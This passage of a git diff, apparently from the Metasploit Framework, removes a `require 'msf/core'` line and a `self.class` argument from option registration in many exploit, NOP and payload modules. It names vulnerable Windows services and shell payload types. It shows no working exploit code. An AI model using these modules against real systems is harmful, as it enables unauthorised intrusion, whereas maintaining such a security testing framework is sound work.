]) - ], self.class ) + ]) end diff --git a/modules/exploits/windows/smb/timbuktu_plughntcommand_bof.rb b/modules/exploits/windows/smb/timbuktu_plughntcommand_bof.rb index c7f1e9259d..cdc42f3150 100644 --- a/modules/exploits/windows/smb/timbuktu_plughntcommand_bof.rb +++ b/modules/exploits/windows/smb/timbuktu_plughntcommand_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/smtp/mailcarrier_smtp_ehlo.rb b/modules/exploits/windows/smtp/mailcarrier_smtp_ehlo.rb index 05e183e82e..33ac13abaa 100644 --- a/modules/exploits/windows/smtp/mailcarrier_smtp_ehlo.rb +++ b/modules/exploits/windows/smtp/mailcarrier_smtp_ehlo.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(25), Opt::LHOST(), # Required for stack offset - ], self.class) + ]) end def check diff --git a/modules/exploits/windows/smtp/mercury_cram_md5.rb b/modules/exploits/windows/smtp/mercury_cram_md5.rb index 36eba8502e..67a8024daf 100644 --- a/modules/exploits/windows/smtp/mercury_cram_md5.rb +++ b/modules/exploits/windows/smtp/mercury_cram_md5.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -44,7 +42,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'Aug 18 2007')) - register_options([ Opt::RPORT(25) ], self.class) + register_options([ Opt::RPORT(25) ]) end def exploit diff --git a/modules/exploits/windows/smtp/ms03_046_exchange2000_xexch50.rb b/modules/exploits/windows/smtp/ms03_046_exchange2000_xexch50.rb index d045492849..f154c14c29 100644 --- a/modules/exploits/windows/smtp/ms03_046_exchange2000_xexch50.rb +++ b/modules/exploits/windows/smtp/ms03_046_exchange2000_xexch50.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking diff --git a/modules/exploits/windows/smtp/njstar_smtp_bof.rb b/modules/exploits/windows/smtp/njstar_smtp_bof.rb index adcc1d5461..9836207d1f 100644 --- a/modules/exploits/windows/smtp/njstar_smtp_bof.rb +++ b/modules/exploits/windows/smtp/njstar_smtp_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -76,7 +74,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Oct 31 2011', 'DefaultTarget' => 0)) - register_options([Opt::RPORT(25)], self.class) + register_options([Opt::RPORT(25)]) end def check diff --git a/modules/exploits/windows/smtp/wmailserver.rb b/modules/exploits/windows/smtp/wmailserver.rb index 6f91626838..225e784d94 100644 --- a/modules/exploits/windows/smtp/wmailserver.rb +++ b/modules/exploits/windows/smtp/wmailserver.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -45,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'Jul 11 2005')) - register_options([ Opt::RPORT(25) ], self.class) + register_options([ Opt::RPORT(25) ]) end def exploit diff --git a/modules/exploits/windows/smtp/ypops_overflow1.rb b/modules/exploits/windows/smtp/ypops_overflow1.rb index a0b88194a5..ef908d3143 100644 --- a/modules/exploits/windows/smtp/ypops_overflow1.rb +++ b/modules/exploits/windows/smtp/ypops_overflow1.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking diff --git a/modules/exploits/windows/ssh/freeftpd_key_exchange.rb b/modules/exploits/windows/ssh/freeftpd_key_exchange.rb index 922a163785..7d3169b319 100644 --- a/modules/exploits/windows/ssh/freeftpd_key_exchange.rb +++ b/modules/exploits/windows/ssh/freeftpd_key_exchange.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -52,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(22) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/ssh/freesshd_authbypass.rb b/modules/exploits/windows/ssh/freesshd_authbypass.rb index 5cfa961329..e18d316150 100644 --- a/modules/exploits/windows/ssh/freesshd_authbypass.rb +++ b/modules/exploits/windows/ssh/freesshd_authbypass.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote # Defaults to unix_users.txt, because this is the closest one we can try File.join(Msf::Config.data_directory, "wordlists", "unix_users.txt") ] ) - ], self.class) + ]) end diff --git a/modules/exploits/windows/ssh/freesshd_key_exchange.rb b/modules/exploits/windows/ssh/freesshd_key_exchange.rb index 4204c26d58..3bec715c5a 100644 --- a/modules/exploits/windows/ssh/freesshd_key_exchange.rb +++ b/modules/exploits/windows/ssh/freesshd_key_exchange.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(22) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/ssh/putty_msg_debug.rb b/modules/exploits/windows/ssh/putty_msg_debug.rb index 117a781436..62ffa4a9b4 100644 --- a/modules/exploits/windows/ssh/putty_msg_debug.rb +++ b/modules/exploits/windows/ssh/putty_msg_debug.rb @@ -50,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptPort.new('SRVPORT', [ true, "The SSH daemon port to listen on", 22 ]) - ], self.class) + ]) end def on_client_connect(client) diff --git a/modules/exploits/windows/ssh/securecrt_ssh1.rb b/modules/exploits/windows/ssh/securecrt_ssh1.rb index fd8cfaf959..777ac63d22 100644 --- a/modules/exploits/windows/ssh/securecrt_ssh1.rb +++ b/modules/exploits/windows/ssh/securecrt_ssh1.rb @@ -50,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptPort.new('SRVPORT', [ true, "The SSH daemon port to listen on", 22 ]) - ], self.class) + ]) end def on_client_connect(client) diff --git a/modules/exploits/windows/ssh/sysax_ssh_username.rb b/modules/exploits/windows/ssh/sysax_ssh_username.rb index 1d1573215c..965d9ee65c 100644 --- a/modules/exploits/windows/ssh/sysax_ssh_username.rb +++ b/modules/exploits/windows/ssh/sysax_ssh_username.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -68,7 +66,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptInt.new('RPORT', [false, 'The target port', 22]) - ], self.class) + ]) end def check diff --git a/modules/exploits/windows/ssl/ms04_011_pct.rb b/modules/exploits/windows/ssl/ms04_011_pct.rb index 278eebb500..6f3b845dc9 100644 --- a/modules/exploits/windows/ssl/ms04_011_pct.rb +++ b/modules/exploits/windows/ssl/ms04_011_pct.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -108,7 +106,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('PROTO', [true, "The application protocol: raw or smtp", "raw"]) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/telnet/gamsoft_telsrv_username.rb b/modules/exploits/windows/telnet/gamsoft_telsrv_username.rb index 4f7ccaf5fc..fd664b5641 100644 --- a/modules/exploits/windows/telnet/gamsoft_telsrv_username.rb +++ b/modules/exploits/windows/telnet/gamsoft_telsrv_username.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp @@ -77,7 +75,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(23), - ], self.class) + ]) end def check diff --git a/modules/exploits/windows/telnet/goodtech_telnet.rb b/modules/exploits/windows/telnet/goodtech_telnet.rb index 05787a086f..0649c25031 100644 --- a/modules/exploits/windows/telnet/goodtech_telnet.rb +++ b/modules/exploits/windows/telnet/goodtech_telnet.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(2380) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/tftp/attftp_long_filename.rb b/modules/exploits/windows/tftp/attftp_long_filename.rb index 5e870c2a45..91e9ccc131 100644 --- a/modules/exploits/windows/tftp/attftp_long_filename.rb +++ b/modules/exploits/windows/tftp/attftp_long_filename.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -58,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(69), Opt::LHOST() # Required for stack offset - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/tftp/distinct_tftp_traversal.rb b/modules/exploits/windows/tftp/distinct_tftp_traversal.rb index 117490b420..7e11389f14 100644 --- a/modules/exploits/windows/tftp/distinct_tftp_traversal.rb +++ b/modules/exploits/windows/tftp/distinct_tftp_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote OptInt.new('DEPTH', [false, "Levels to reach base directory",10]), OptAddress.new('RHOST', [true, "The remote TFTP server address"]), OptPort.new('RPORT', [true, "The remote TFTP server port", 69]) - ], self.class) + ]) end def upload(filename, data) diff --git a/modules/exploits/windows/tftp/dlink_long_filename.rb b/modules/exploits/windows/tftp/dlink_long_filename.rb index 1809d64ee3..8e3cde787e 100644 --- a/modules/exploits/windows/tftp/dlink_long_filename.rb +++ b/modules/exploits/windows/tftp/dlink_long_filename.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking diff --git a/modules/exploits/windows/tftp/futuresoft_transfermode.rb b/modules/exploits/windows/tftp/futuresoft_transfermode.rb index 27117793e5..bcbc6f0a5b 100644 --- a/modules/exploits/windows/tftp/futuresoft_transfermode.rb +++ b/modules/exploits/windows/tftp/futuresoft_transfermode.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(69) - ], self.class) + ]) end diff --git a/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb b/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb index 935f681953..43191d7ccb 100644 --- a/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb +++ b/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote OptInt.new('DEPTH', [false, "Levels to reach base directory",1]), OptAddress.new('RHOST', [true, "The remote TFTP server address"]), OptPort.new('RPORT', [true, "The remote TFTP server port", 69]) - ], self.class) + ]) end def upload(filename, data) diff --git a/modules/exploits/windows/tftp/opentftp_error_code.rb b/modules/exploits/windows/tftp/opentftp_error_code.rb index fa1734b983..d211f35438 100644 --- a/modules/exploits/windows/tftp/opentftp_error_code.rb +++ b/modules/exploits/windows/tftp/opentftp_error_code.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -61,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(69), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/tftp/quick_tftp_pro_mode.rb b/modules/exploits/windows/tftp/quick_tftp_pro_mode.rb index 57e3bfa02b..2a83d2b480 100644 --- a/modules/exploits/windows/tftp/quick_tftp_pro_mode.rb +++ b/modules/exploits/windows/tftp/quick_tftp_pro_mode.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -49,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(69) - ], self.class) + ]) end diff --git a/modules/exploits/windows/tftp/tftpd32_long_filename.rb b/modules/exploits/windows/tftp/tftpd32_long_filename.rb index 62659e76db..08d2b16917 100644 --- a/modules/exploits/windows/tftp/tftpd32_long_filename.rb +++ b/modules/exploits/windows/tftp/tftpd32_long_filename.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking diff --git a/modules/exploits/windows/tftp/tftpdwin_long_filename.rb b/modules/exploits/windows/tftp/tftpdwin_long_filename.rb index 436e4b922e..4979dac733 100644 --- a/modules/exploits/windows/tftp/tftpdwin_long_filename.rb +++ b/modules/exploits/windows/tftp/tftpdwin_long_filename.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/tftp/tftpserver_wrq_bof.rb b/modules/exploits/windows/tftp/tftpserver_wrq_bof.rb index b1ac37baa9..de30705671 100644 --- a/modules/exploits/windows/tftp/tftpserver_wrq_bof.rb +++ b/modules/exploits/windows/tftp/tftpserver_wrq_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -69,7 +67,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(69) - ], self.class) + ]) end diff --git a/modules/exploits/windows/tftp/threectftpsvc_long_mode.rb b/modules/exploits/windows/tftp/threectftpsvc_long_mode.rb index 5af0ab3918..cebb57e48d 100644 --- a/modules/exploits/windows/tftp/threectftpsvc_long_mode.rb +++ b/modules/exploits/windows/tftp/threectftpsvc_long_mode.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -46,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 27 2006')) - register_options([Opt::RPORT(69)], self.class) + register_options([Opt::RPORT(69)]) end def exploit diff --git a/modules/exploits/windows/unicenter/cam_log_security.rb b/modules/exploits/windows/unicenter/cam_log_security.rb index 3616ae558c..2b7a2319f4 100644 --- a/modules/exploits/windows/unicenter/cam_log_security.rb +++ b/modules/exploits/windows/unicenter/cam_log_security.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/vnc/realvnc_client.rb b/modules/exploits/windows/vnc/realvnc_client.rb index aa4f88043f..9c7788a680 100644 --- a/modules/exploits/windows/vnc/realvnc_client.rb +++ b/modules/exploits/windows/vnc/realvnc_client.rb @@ -47,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptPort.new('SRVPORT', [ true, "The VNCServer daemon port to listen on", 5900 ]) - ], self.class) + ]) end def on_client_connect(client) diff --git a/modules/exploits/windows/vnc/ultravnc_client.rb b/modules/exploits/windows/vnc/ultravnc_client.rb index 9b513c571a..04e8f3a118 100644 --- a/modules/exploits/windows/vnc/ultravnc_client.rb +++ b/modules/exploits/windows/vnc/ultravnc_client.rb @@ -48,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptPort.new('SRVPORT', [ true, "The VNCServer daemon port to listen on", 5900 ]) - ], self.class) + ]) end def on_client_connect(client) diff --git a/modules/exploits/windows/vnc/ultravnc_viewer_bof.rb b/modules/exploits/windows/vnc/ultravnc_viewer_bof.rb index 6ed96a1fab..5c88d0776f 100644 --- a/modules/exploits/windows/vnc/ultravnc_viewer_bof.rb +++ b/modules/exploits/windows/vnc/ultravnc_viewer_bof.rb @@ -48,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptPort.new('SRVPORT', [ true, "The VNCServer daemon port to listen on", 5900 ]) - ], self.class) + ]) end def on_client_connect(client) diff --git a/modules/exploits/windows/vnc/winvnc_http_get.rb b/modules/exploits/windows/vnc/winvnc_http_get.rb index b632b9c800..0ac5d9e479 100644 --- a/modules/exploits/windows/vnc/winvnc_http_get.rb +++ b/modules/exploits/windows/vnc/winvnc_http_get.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -52,7 +50,7 @@ require 'msf/core' register_options( [ Opt::RPORT(5800), - ],self.class) + ]) end def exploit diff --git a/modules/exploits/windows/vpn/safenet_ike_11.rb b/modules/exploits/windows/vpn/safenet_ike_11.rb index d6edf7d1fe..2b2098aaaf 100644 --- a/modules/exploits/windows/vpn/safenet_ike_11.rb +++ b/modules/exploits/windows/vpn/safenet_ike_11.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking diff --git a/modules/exploits/windows/winrm/winrm_script_exec.rb b/modules/exploits/windows/winrm/winrm_script_exec.rb index 49fd1c9781..12a7aed95e 100644 --- a/modules/exploits/windows/winrm/winrm_script_exec.rb +++ b/modules/exploits/windows/winrm/winrm_script_exec.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking diff --git a/modules/exploits/windows/wins/ms04_045_wins.rb b/modules/exploits/windows/wins/ms04_045_wins.rb index c47f62277d..b15058c573 100644 --- a/modules/exploits/windows/wins/ms04_045_wins.rb +++ b/modules/exploits/windows/wins/ms04_045_wins.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -60,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(42) - ], self.class ) + ]) end def check diff --git a/modules/nops/armle/simple.rb b/modules/nops/armle/simple.rb index 4cbb9d0a81..92c582eed2 100644 --- a/modules/nops/armle/simple.rb +++ b/modules/nops/armle/simple.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - ### # @@ -30,7 +28,7 @@ class MetasploitModule < Msf::Nop register_advanced_options( [ OptBool.new('RandomNops', [ false, "Generate a random NOP sled", true ]) - ], self.class) + ]) end diff --git a/modules/nops/mipsbe/better.rb b/modules/nops/mipsbe/better.rb index 1b2ad61986..1c14f26fc8 100644 --- a/modules/nops/mipsbe/better.rb +++ b/modules/nops/mipsbe/better.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - ### # @@ -30,7 +28,7 @@ class MetasploitModule < Msf::Nop register_advanced_options( [ OptBool.new('RandomNops', [ false, "Generate a random NOP sled", true ]) - ], self.class) + ]) end def get_register() diff --git a/modules/nops/php/generic.rb b/modules/nops/php/generic.rb index 272d16448c..3ea7f70870 100644 --- a/modules/nops/php/generic.rb +++ b/modules/nops/php/generic.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - ### # diff --git a/modules/nops/ppc/simple.rb b/modules/nops/ppc/simple.rb index 8517b9dc33..fd9308d27b 100644 --- a/modules/nops/ppc/simple.rb +++ b/modules/nops/ppc/simple.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - ### # @@ -30,7 +28,7 @@ class MetasploitModule < Msf::Nop register_advanced_options( [ OptBool.new('RandomNops', [ false, "Generate a random NOP sled", true ]) - ], self.class) + ]) end diff --git a/modules/nops/sparc/random.rb b/modules/nops/sparc/random.rb index c88aaa81df..013f9b0aae 100644 --- a/modules/nops/sparc/random.rb +++ b/modules/nops/sparc/random.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - ### # @@ -83,7 +81,7 @@ class MetasploitModule < Msf::Nop register_advanced_options( [ OptBool.new('RandomNops', [ false, "Generate a random NOP sled", true ]) - ], self.class) + ]) end diff --git a/modules/nops/tty/generic.rb b/modules/nops/tty/generic.rb index 1e6a2b501e..d167794a4b 100644 --- a/modules/nops/tty/generic.rb +++ b/modules/nops/tty/generic.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - ### # diff --git a/modules/nops/x64/simple.rb b/modules/nops/x64/simple.rb index c918b1b955..314a6e2951 100644 --- a/modules/nops/x64/simple.rb +++ b/modules/nops/x64/simple.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Nop @@ -18,8 +16,8 @@ class MetasploitModule < Msf::Nop 'License' => MSF_LICENSE, 'Arch' => ARCH_X64 ) - register_advanced_options( [ OptBool.new( 'RandomNops', [ false, "Generate a random NOP sled", true ] ) ], self.class ) - register_advanced_options( [ OptBool.new( 'MultiByte', [ false, "Generate a multi byte instruction NOP sled", false ] ) ], self.class ) + register_advanced_options( [ OptBool.new( 'RandomNops', [ false, "Generate a random NOP sled", true ] ) ]) + register_advanced_options( [ OptBool.new( 'MultiByte', [ false, "Generate a multi byte instruction NOP sled", false ] ) ]) end # This instruction list is far from complete (Only single byte instructions and some multi byte ADD/MOV instructions are used). diff --git a/modules/nops/x86/opty2.rb b/modules/nops/x86/opty2.rb index 609a618615..422c9786cb 100644 --- a/modules/nops/x86/opty2.rb +++ b/modules/nops/x86/opty2.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'rex/nop/opty2' diff --git a/modules/nops/x86/single_byte.rb b/modules/nops/x86/single_byte.rb index 4b0242cbb0..053adf1d7c 100644 --- a/modules/nops/x86/single_byte.rb +++ b/modules/nops/x86/single_byte.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - ### # @@ -90,7 +88,7 @@ SINGLE_BYTE_SLED = register_advanced_options( [ OptBool.new('RandomNops', [ false, "Generate a random NOP sled", true ]) - ], self.class) + ]) end # Generate a single-byte NOP sled for X86 diff --git a/modules/payloads/singles/aix/ppc/shell_bind_tcp.rb b/modules/payloads/singles/aix/ppc/shell_bind_tcp.rb index 7e48e83f2d..5d6ca69e38 100644 --- a/modules/payloads/singles/aix/ppc/shell_bind_tcp.rb +++ b/modules/payloads/singles/aix/ppc/shell_bind_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/aix/ppc/shell_find_port.rb b/modules/payloads/singles/aix/ppc/shell_find_port.rb index 0b7e38ba16..4c3b02f22a 100644 --- a/modules/payloads/singles/aix/ppc/shell_find_port.rb +++ b/modules/payloads/singles/aix/ppc/shell_find_port.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/find_port' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/aix/ppc/shell_interact.rb b/modules/payloads/singles/aix/ppc/shell_interact.rb index ac97edec4e..d0ce9f53a4 100644 --- a/modules/payloads/singles/aix/ppc/shell_interact.rb +++ b/modules/payloads/singles/aix/ppc/shell_interact.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/find_shell' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/aix/ppc/shell_reverse_tcp.rb b/modules/payloads/singles/aix/ppc/shell_reverse_tcp.rb index ef6c85201a..cc19172b33 100644 --- a/modules/payloads/singles/aix/ppc/shell_reverse_tcp.rb +++ b/modules/payloads/singles/aix/ppc/shell_reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/android/meterpreter_reverse_http.rb b/modules/payloads/singles/android/meterpreter_reverse_http.rb index 0ae870d3af..abc64ab86f 100644 --- a/modules/payloads/singles/android/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/android/meterpreter_reverse_http.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_http' require 'msf/core/payload/transport_config' require 'msf/core/payload/android' diff --git a/modules/payloads/singles/android/meterpreter_reverse_https.rb b/modules/payloads/singles/android/meterpreter_reverse_https.rb index b402be77a6..39a05ddadb 100644 --- a/modules/payloads/singles/android/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/android/meterpreter_reverse_https.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_https' require 'msf/core/payload/transport_config' require 'msf/core/payload/android' diff --git a/modules/payloads/singles/android/meterpreter_reverse_tcp.rb b/modules/payloads/singles/android/meterpreter_reverse_tcp.rb index 36da7c31c4..3d255a4d86 100644 --- a/modules/payloads/singles/android/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/android/meterpreter_reverse_tcp.rb @@ -2,7 +2,6 @@ # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/payload/android' require 'msf/core/payload/transport_config' require 'msf/core/handler/reverse_tcp' diff --git a/modules/payloads/singles/bsd/sparc/shell_bind_tcp.rb b/modules/payloads/singles/bsd/sparc/shell_bind_tcp.rb index 06b08fb63e..7adae0f370 100644 --- a/modules/payloads/singles/bsd/sparc/shell_bind_tcp.rb +++ b/modules/payloads/singles/bsd/sparc/shell_bind_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/bsd/sparc/shell_reverse_tcp.rb b/modules/payloads/singles/bsd/sparc/shell_reverse_tcp.rb index 1df2e6ee8d..b7fe7ea53d 100644 --- a/modules/payloads/singles/bsd/sparc/shell_reverse_tcp.rb +++ b/modules/payloads/singles/bsd/sparc/shell_reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/bsd/x64/exec.rb b/modules/payloads/singles/bsd/x64/exec.rb index 106506d453..4ca630cfb5 100644 --- a/modules/payloads/singles/bsd/x64/exec.rb +++ b/modules/payloads/singles/bsd/x64/exec.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - ### # @@ -35,7 +33,7 @@ module MetasploitModule register_options( [ OptString.new('CMD', [ true, "The command string to execute" ]), - ], self.class) + ]) end # diff --git a/modules/payloads/singles/bsd/x64/shell_bind_ipv6_tcp.rb b/modules/payloads/singles/bsd/x64/shell_bind_ipv6_tcp.rb index 0c990e4664..114649967f 100644 --- a/modules/payloads/singles/bsd/x64/shell_bind_ipv6_tcp.rb +++ b/modules/payloads/singles/bsd/x64/shell_bind_ipv6_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/bsd/x64/shell_bind_tcp.rb b/modules/payloads/singles/bsd/x64/shell_bind_tcp.rb index e5c602094b..2a2fae16e9 100644 --- a/modules/payloads/singles/bsd/x64/shell_bind_tcp.rb +++ b/modules/payloads/singles/bsd/x64/shell_bind_tcp.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/bind_tcp' module MetasploitModule @@ -35,7 +34,7 @@ module MetasploitModule [ OptString.new('CMD', [ true, "The command string to execute", "/bin/sh" ]), Opt::LPORT(4444) - ], self.class) + ]) end # build the shellcode payload dynamically based on the user-provided CMD diff --git a/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb b/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb index 828d95304e..ef0d6b58b0 